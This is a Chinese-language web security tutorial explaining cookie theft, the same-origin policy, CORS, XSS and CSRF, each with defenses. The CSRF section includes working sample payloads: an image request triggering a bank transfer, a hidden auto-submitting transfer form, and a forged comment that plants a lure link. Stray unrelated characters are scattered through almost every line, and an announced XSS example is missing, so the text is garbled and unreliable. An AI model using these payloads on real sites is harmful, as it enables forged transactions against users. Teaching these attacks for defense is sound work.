前端安全問(wèn)題
1.cookie失竊
黑客網(wǎng)站通過(guò)script獲取本地用戶訪問(wèn)其他網(wǎng)站的cookie怔球,cookie是用戶訪問(wèn)網(wǎng)站的登陸憑證,通過(guò)cookie可以發(fā)起請(qǐng)求
惡意網(wǎng)站獲得cookie后偽裝用戶發(fā)起請(qǐng)求,例如轉(zhuǎn)賬等
2.密碼失竊
黑客網(wǎng)站通過(guò)iframe嵌入安全網(wǎng)站,黑客網(wǎng)站通過(guò)js修改用戶點(diǎn)擊登陸操作的form-action,使請(qǐng)求轉(zhuǎn)向黑客網(wǎng)站后臺(tái),黑客獲取到用戶登陸信息
3.同源策略
為了杜絕以上黑客攻擊踪央,瀏覽器標(biāo)準(zhǔn)定制了同源策略
1)什么是同源?
協(xié)議瓢阴、域名host畅蹂、端口號(hào)一致視為同源
2)同源的操作權(quán)限
- 讀取localstorage、cookie炫掐、indexDB
- 操作dom
- XMLHttpRequest請(qǐng)求
注意:
- 帶src屬性的標(biāo)簽不受同源策略的影響魁莉。比如script、img募胃、iframe旗唁、link,這樣方便用戶跨源引用資源痹束。相當(dāng)于瀏覽器發(fā)送get請(qǐng)求
- 提交表單不受同源策略的影響(關(guān)于原因以及如何利用表單做跨域請(qǐng)求检疫,將另起一篇文章說(shuō)明)
- 對(duì)于二級(jí)域名不同的情況,可以通過(guò)設(shè)置domain為頂級(jí)域名使得cookie\localstorage等信息可以在二級(jí)域名之間共享
前兩個(gè)不受同源策略影響的特性祷嘶,恰恰是CSXF攻擊的原理屎媳!后文會(huì)講到
4.XMLHttpRequest的跨域請(qǐng)求
通過(guò)服務(wù)器中轉(zhuǎn)的方式
js先請(qǐng)求同源服務(wù)器夺溢,同源服務(wù)器轉(zhuǎn)發(fā)請(qǐng)求目標(biāo)服務(wù)器,目標(biāo)服務(wù)器添加了白名單烛谊,同源服務(wù)器作為代理人风响,稱為代理模式
這種XMLHttpRequest請(qǐng)求的方式成為CORS(crossing origin resource sharing),跨源資源共享
5.XSS
瀏覽器添加了同源策略丹禀,杜絕了非同源js請(qǐng)求
黑客:在目標(biāo)網(wǎng)站的表單里填寫script代碼提交到后臺(tái)服務(wù)器状勤,當(dāng)表單內(nèi)容展示到頁(yè)面上時(shí),會(huì)觸發(fā)攻擊双泪,如:
以這種隱蔽的方式實(shí)現(xiàn)將本地?cái)?shù)據(jù)提交(get請(qǐng)求)到黑客網(wǎng)站后臺(tái)
這種攻擊方式叫做crossing site scripting,跨站腳本持搜,簡(jiǎn)稱XSS
例如郵箱的內(nèi)容中默認(rèn)不顯示圖片,就是為了屏蔽這種攻擊
6.XSS防護(hù)
1)cookie加上HttpOnly,只允許請(qǐng)求焙矛,不允許js讀取
2)服務(wù)端安全過(guò)濾葫盼,過(guò)濾script信息
3)前端展示安全過(guò)濾
7.CSRF
CSRF示意圖:
觸發(fā)條件(需要同時(shí)滿足):
- 瀏覽器支持(沒(méi)有禁用)cookie
- 目標(biāo)網(wǎng)站沒(méi)有做 CSRF 相關(guān)的預(yù)防措施(有漏洞)
- 目標(biāo)網(wǎng)站基于 cookie/session 來(lái)做身份認(rèn)證
- 用戶已在目標(biāo)網(wǎng)站A登陸,并且沒(méi)有登出村斟,并且沒(méi)有清空 cookie贫导,并且 cookie 沒(méi)有過(guò)期的情況下訪問(wèn)黑客網(wǎng)站
- 黑客網(wǎng)站B請(qǐng)求了目標(biāo)網(wǎng)站A
觸發(fā)方式:
- 點(diǎn)擊請(qǐng)求:用戶點(diǎn)擊黑客網(wǎng)站鏈接,a標(biāo)簽
- 自動(dòng)請(qǐng)求:黑客網(wǎng)站創(chuàng)建表單發(fā)起請(qǐng)求(支持POST請(qǐng)求)蟆盹,或者通過(guò)js創(chuàng)建img元素設(shè)置src(GET請(qǐng)求)脱盲,自動(dòng)請(qǐng)求具有隱蔽性
示例:
<!--鏈接方式,誘導(dǎo)點(diǎn)擊-->
<a >點(diǎn)擊領(lǐng)紅包</a>
<script>
// 資源請(qǐng)求
(new Image()).src = 'http://www.targetBank.com/Transfer.php?toBankId=11&money=1000';
</script>
// form表單請(qǐng)求
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>黑客網(wǎng)站</title>
</head>
<body onload="steal()">
<div style="display:none">
<form method="POST" name="transfer" action="http://www.targetBank.com/Transfer.php" target="steal">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</div>
<iframe name="steal" display="none"></iframe>
<script type="text/javascript">
document.querySelector('[name=transfer]').submit();
</script>
</body>
</html>
<!--
說(shuō)明:
1.form表單提交以后日缨,普通情況下會(huì)頁(yè)面跳轉(zhuǎn)至action指定頁(yè)面
2.通過(guò)在頁(yè)面上添加一個(gè)隱藏的iframe,將form的target指向iframe的name,
此時(shí)表單是在iframe中提交與跳轉(zhuǎn)掖看,不影響外層頁(yè)面
-->
攻擊升級(jí):
提交內(nèi)容里帶上超鏈接匣距,誘導(dǎo)其他用戶看到內(nèi)容后點(diǎn)擊,跳轉(zhuǎn)到目標(biāo)網(wǎng)站后再次觸發(fā)CSRF
示例:
<script>
(new Image()).src = 'http://www.tieba.com/comment?id=11&content=<a href=www.hack.com/index.html>點(diǎn)擊領(lǐng)紅包</a>';
// 其中包含了XSS攻擊方式哎壳,當(dāng)提交的內(nèi)容被展示到目標(biāo)網(wǎng)站上的時(shí)候毅待,誘導(dǎo)更多用戶去點(diǎn)擊黑客網(wǎng)站
</script>
觸發(fā)原因:
- 同源策略阻止了js讀取其他網(wǎng)站的cookie等內(nèi)容,但沒(méi)有防止js向其他網(wǎng)站發(fā)出請(qǐng)求
- 同源策略限制了ajax請(qǐng)求归榕,但沒(méi)有限制form表單提交尸红,前文提過(guò)img標(biāo)簽不受同源策略限制
- 黑客網(wǎng)站利用用戶向目標(biāo)網(wǎng)站發(fā)起請(qǐng)求的時(shí)候,請(qǐng)求會(huì)帶上目標(biāo)網(wǎng)站下發(fā)的cookie
這種攻擊方式叫做cross site request forgery,跨站請(qǐng)求偽造
8.CSRF攻擊防護(hù)
- referer(在http請(qǐng)求頭中)驗(yàn)證解決方案,瀏覽器會(huì)告訴服務(wù)器刹泄,哪個(gè)頁(yè)面發(fā)送了請(qǐng)求
不過(guò)由于 http 頭在某些版本的瀏覽器上存在可被篡改的可能性外里,所以這個(gè)解決方案并不完善 - 目標(biāo)網(wǎng)站通過(guò)cookie生成hash值,提交請(qǐng)求時(shí)帶上hash值特石,服務(wù)端對(duì)hash進(jìn)行過(guò)濾
- 表單提交加驗(yàn)證碼盅蝗,如圖片上的隨機(jī)字符串
- 用戶登錄時(shí)服務(wù)端生成token,之后用戶請(qǐng)求必須帶上token